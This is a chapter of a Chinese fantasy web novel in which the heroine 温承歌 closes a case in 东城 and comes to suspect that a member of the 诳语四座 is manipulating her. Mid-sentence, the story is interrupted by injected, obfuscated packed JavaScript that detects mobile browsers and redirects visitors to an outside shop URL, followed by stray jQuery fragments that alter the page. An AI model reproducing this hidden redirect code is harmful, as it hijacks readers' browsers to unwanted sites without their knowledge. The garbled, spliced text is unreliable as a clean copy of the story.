77. 窥伺者
作品:《神女行镖,诸邪退散》 郑老爷行刑当日,东城百姓皆是喜气洋洋,好似又过了一回新春一般,锣鼓乐声响彻天际,一直持续到深夜还不肯罢休。
高耸坚实的城墙隔开了城中的欢声笑语,而在城外不远处一片偏僻之地,却静得令人心惊胆战。那里到处都是土堆,枯骨掩埋在稀稀落落的荒草中,显得阴森又凄凉。
或许会有人记得,就在几天前,又一张新的草席被丢在了这处乱葬岗中,带来了东城之中一场彻底的腥风血雨。
但此时此刻,那张摊开的草席里空无一物。
“都结束了。”
酒楼的雅间内,温承歌为自己斟了一杯清茶,向桌对面的人举杯示意:
“借你的命我已归还。这些天鬼门关里走了一遭,感想如何?”
她对面坐着的,正是先前那名“服毒自尽”的郑家少年。
“我在想,或许就这么死了,倒也不失为一个归宿。”少年同她轻轻碰杯,悠悠道。
“你母亲的冤屈已被正名,如果你想去看看她如今的牌位,我可以帮你。”
少年听着门外重重庆贺之声,释然一笑:“不必了,我以前总以为凌霄阁之中的牌位多么高大,多么辉煌,可真正闯入内阁,将那块牌位拿在手里,才发现它轻得可怕。
“那一刻我就想清楚了,我要的从来不是一块牌位。”
温承歌点点头,没再说话。二人沉默着吃了半晌,她才再度开口:
“如今尘埃落定,我倒是还有几个问题要问你。
“你先前趁着外阁开放混进去,炸断了廊桥,趁机闯入内阁。你被抓后,凌霄阁的人清查了那场爆炸的结果。
除了携带炸药的那名郑家手下当场身亡外,并未有无辜百姓受伤。但它却实打实地炸塌了外廊的一段廊桥。
“这样的威力只有□□能做到,但兵部严加看管这些军用炸药,没有许可,连府尹都见不到它们。
“现在,我需要知道:你从哪里拿到的□□?”
少年闻言,微微一愣,末了坦然回道:“爆炸的并非□□,而是某人的随身物件。”
听着他的描述,温承歌渐渐拼凑出了整起事件的始末:
少年原先的计划只是进入外阁,趁人多寻找机会混入内阁,爆炸是个意外,并不在他的设想内。
爆炸发生的前一日晚上,他走在巷子里盘算第二日的计划。一人从他面前路过时,有什么亮晶晶的东西从他腰间落下来,掉到地上滚了好几圈,滚到少年脚边。
少年将那东西拾起来,那人无知无觉,已经走远了。他对着光仔细一瞧,发现那竟是一件做工精巧的首饰!
少年随即兴奋起来:这首饰一看便知价值不菲,若是能把它典当了,指不定能换一大笔银钱,他也好过些!
奈何事与愿违,就在此时,一个黑影闪过,一把从他手中抢走了那首饰,又是一脚将他踹倒。
少年头磕在墙上,撞得眼前发黑,好不容易缓过来看清面前的人。对方人高马大,满脸横肉,一身短布衫,让他恨得牙痒痒:
那就是郑家的手下人之一!此人平时横行霸道,借着告发的名义威胁少年将挣到的那点银钱交给他,稍有不顺便对少年拳打脚踢,恨得少年连做梦都盼着他死。
此人一如既往地从他手里抢走了首饰,揣进袖中,临走前还不忘对他拳打脚踢一番,耀武扬威地离开了。
第二日,凌霄阁外阁发生了爆炸,他被当场炸死。
温承歌越听下去,越觉得有一股莫名的寒意悄无声息地渗进她的筋骨之中:
若是那件首饰未被恶霸抢去,按郑家少年原先计划的路径,他一定会带着它潜入凌霄阁内阁。
而要赶到郑家牌位所在的东阁,就必须经过大堂之中的天机锁。
若是爆炸发生在那里……
温承歌的心绪一下子沉重起来,她敏锐地意识到,先前噩梦果真不是空穴来风,早已有人藏在这出案子的背后,暗中布局。
并且,对方的目标,就是此地的灵枢。
思及此处,温承歌后知后觉地生出一种劫后余生的庆幸之感。若是天机锁被爆炸毁坏,灵枢入口彻底暴露在外,那已经被侵蚀的地下灵脉还不知要面临怎样的危险。
所幸机缘巧合之下,幕后之人的阴谋并未得逞,她们一行人得以率先进入灵枢,祛除邪祟。眼下灵脉已被加固,此地暂且算是安全了。
温承歌定了定神,看着少年的双眼,问道:“接下来准备做什么?”
少年笑了笑:“母亲的仇已经报了,从此以后,我只为自己而活。
“我决定离开东城,这里不是我的故乡,我要前往其他地方,去做自己想做的事。”
温承歌点点头,二人就此别过。
待到温承歌回到驿馆时,叶林二人依旧在老地方等着她。
现在已是子时,叶烛南早便困得哈欠连天,依然强撑着和林弈聊着这些天的见闻,似乎很有些意犹未尽。
温承歌一来,她又精神了几分,迎上前去:“怎么样,承歌,那个少年安排好了吗?”
温承歌点点头:“嗯,一切顺利。”
叶烛南试探道:“那咱们在这里的事情,算是彻底搞完啦?”
温承歌听出了她的弦外之音,有些好笑:“自然,你们早些回去休息,明日启程前往东海。”
叶烛南一下子激动起来:“好欸!终于可以换个地方了,承歌你是不知道,这里的人都认识我了,每次出个门都不安生……”
三人说笑着在走廊上别过,温叶二人回到屋内,温承歌忽然想起什么,轻按扳指,放出了一直安置在其中的谛听铃。
那只银铃一出来便浮在了空中,一个虚影蓦地从铃铛里钻出来,长叹一声:
“可算是出来了,这几天待在这铃铛里,我都快憋出毛病了!”
叶烛南被凭空出现的人影吓了一跳,定了定神后,有些惊讶地看着她:
“等等,你是……厌胜?!”
面前女子白衣白发,黑眸点漆,周身散发着淡淡的光晕,可不就是厌胜么?
厌胜得意地理了理衣袖:“没错,是我。小姑娘,我发现你还挺机灵的嘛!”
叶烛南看了看那枚铃铛,又看了看她,眼中还是有些不可置信:
“你之前不是休眠了么?怎么还能化形出来?”
厌胜打量了下自己的躯体:“不知道,我醒来后就变成现在这样了。
“不过这大概也不算化形,我碰不了东西,你看。”
她伸出手去摸桌边的油灯,手在接触的一瞬间没入古铜色的灯柱和跳动的火焰,又毫无障碍地从中穿了出去,看起来颇为惊悚。
温承歌眨眨眼,引出一丝灵力来,感受着厌胜此时此刻的状态,竟发现她身上连一丝灵力气息也无。
她抱起双臂,若有所思:
能显形,却无法触碰东西,也没有灵力波动。这情况的确不多见……
厌胜先前说,有人将她碎裂的灵识收集起来,存在谛听铃中苟延残喘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335486|188415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。她如今的状态会是那人的手笔么?对方究竟是何许人也,竟能违逆天道?
违逆天道……如今温承歌自己倒是知晓有人正在做违逆天道之事。说起来,厌胜同样死在百年前,想必和那场鏖战息息相关。
她的经历会和诳语四座有牵涉么?
就在此刻,温承歌腰间的玉珏微微亮起。
她挑了挑眉,心情忽然没来由的松快几分:这人来的还真是时候。
温承歌抬起头,只见厌胜和叶烛南还在聊着天,似乎有说不完的话。她靠在桌案边上悄悄引了一缕灵力,顺着指尖不动声色地没入玉珏之中。
下一刻,熟悉的声音在她灵识内响起,带着一丝哀怨:
【难得温大人竟还能想起在下,在下着实是感激涕零,不胜荣幸啊!】
温承歌算了算时日,不免有些疑惑:
【上回交流距今也不过半月?】
那边,赫洛幽幽道:
【不是半月,是十六日余一夜。】
怎么记得这么详细?温承歌揉了揉眉心:
【……十六日也罢。东城要处理的事务颇多,一来二去就耽搁了些时日,不过现在已经结了。】
【我知道,所以我才会挑这时候联系你,否则只怕神女大人接下来再赴东海,可就把在下给忘到九霄云外去了!】
他那话说得实在怪里怪气,温承歌望了望边上正聊得热火朝天,困意全无的厌胜和叶烛南,心中暗自腹诽:
若是那二人听了,少不了呛他几句——话也不好好说,酸得人头皮发麻!
【什么不好好说?谁?】
她正想着,便听见赫洛冷不丁问道。
……啧,走神了,没收住心声。
温承歌有点懊恼,直接无视了他的问话:
【没什么,言归正传。东城的分灵枢已被血骸侵蚀出一个缺口,我以神力将其祛除,并重新加固了社稷神的保护禁制,此地灵脉暂且无虞。
【我们如期进入灵器库,拿到了谛听铃,但在此地停驻这几日里,倒是发生了不少蹊跷之事。】
她慢慢回忆着,将先前种种事情,包括做噩梦,引起外阁廊桥爆炸的首饰,厌胜此时的状态,以及她自己的推测和疑虑简明扼要地告诉了赫洛。
赫洛沉吟片刻,道:
【那名器灵的灵识早已溃散,却能一直保持形体近百年,这在常理来看几乎是一件不可能之事。
【你说她如今脱离灵枢后能够显形,却无法触碰到外物,周身也没有灵体气息……那就只剩下一种解释了:她也是虚魂。】
即便心中早有猜测,真正听到这个词时,温承歌仍不免微微一惊:
【虚魂……原来是这般形态?】
【嗯,而且据我所知,迄今为止真正能做到此事的,也只有诳语四座的人。
【你不觉得奇怪吗?这些诡异的事件接连发生,好像有着千丝万缕的联系。】
温承歌顺着他的思路推下去:
【从目前已知的消息来看,厌胜残存的灵识被以某种秘法困在谛听铃里,那起爆炸原定的引发地点是内阁中的天机锁处,也就是通往地下灵枢的入口;
【而我进入东城后的第一晚便平白无故做了噩梦,这梦中有相当一部分和现实重合了,让我误以为这是一种预知……】
温承歌皱了皱眉,道出结论:
【也就是说,有人在刻意引导我,想要干扰我的行动。
【而那个人,便是诳语四座之一。】

